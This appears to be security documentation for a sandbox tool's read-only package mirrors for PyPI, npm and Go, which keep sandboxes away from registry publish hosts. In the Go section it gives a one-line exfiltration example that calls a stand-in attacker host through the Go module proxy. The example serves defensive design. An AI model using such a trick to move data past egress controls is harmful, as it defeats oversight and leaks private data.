Skip to content

Package mirrors

Read-only mirrors of PyPI, npm and the Go proxy, so a proxied sandbox never reaches a registry's upload host. Part of networking and egress in the security model.

A host that serves packages usually takes uploads too: npm publish goes to registry.npmjs.org itself, cargo publish to crates.io, and pypi.org's web forms change an account's data. With an attacker's own token, each is a way out. So in a proxied environment with the git gateway configured, hangar doesn't open those hosts for the pypi, npm and go presets. It points the sandbox's package managers at /pkg/<ecosystem>/ on the gateway's port, which every proxied sandbox reaches (pkgmirror.py):

  • Read-only by construction. GET and HEAD only, below the configured upstream only, and without the client's credentials, cookies or headers. There is no path from a sandbox to a publish endpoint and nothing to log in to; a write gets a 405 and an egress.deny.
  • Upstreams. The public registries by default (PyPI and its file host, npm, the Go module proxy and checksum database), with a disk cache of immutable files (wheels and sdists, npm tarballs, Go module zips) of HANGAR_PACKAGE_MIRROR_CACHE_MB (1024), least recently used first. On GKE, point HANGAR_PACKAGE_MIRRORS at Artifact Registry remote repositories, pull-through caches for PyPI, npm and Go (among others) that can't be published to: {"pypi": "https://us-python.pkg.dev/PROJECT/pypi-remote", "npm": "https://us-npm.pkg.dev/PROJECT/npm-remote"} (Go stays on the public proxy: see Go below). hangar reads them with its own Google credentials (Workload Identity; roles/artifactregistry.reader on the repositories): Basic oauth2accesstoken for Python and Go, a bearer token for npm. Sandboxes never get *.pkg.dev as a host: it serves every project's repositories, an attacker's writable ones included.
  • What sandboxes are told. PIP_INDEX_URL, PIP_TRUSTED_HOST, UV_DEFAULT_INDEX, NPM_CONFIG_REGISTRY with the credential in ~/.npmrc (npm takes registry credentials only from its config), yarn's YARN_NPM_*, and GOPROXY (with the checksum database proxied through it). The credential is the sandbox's egress-proxy credential; its git grant works too. An environment's own env wins over these. Tools that read none of them (Poetry's own sources, conda, Maven) reach the public hosts and are refused, with the usual request hint.
  • Go. A module path names its origin, and proxy.golang.org fetches a module it hasn't seen from there, so go get attacker.example/<data> would carry data to the attacker through an allowed host. The mirror asks with Disable-Module-Fetch: true (the proxy then serves only modules it has cached, as pkgsite's proxy client documents), and lets a checksum-database lookup through only for a version the proxy already has. A module version nobody has fetched before isn't available; vendor it or approve proxy.golang.org. An Artifact Registry Go upstream fetches what it doesn't have from proxy.golang.org, which may fetch from the origin: keep the public proxy for Go where that matters.
  • Who. Each ecosystem is served only to sandboxes whose policy has its preset (or packages). Use is summed per sandbox into the egress.allow entries like proxied traffic (host <ecosystem>.mirror.hangar).
  • Cargo has no mirror: the crates preset opens only the sparse index and the download host, which serve files, and not crates.io's API.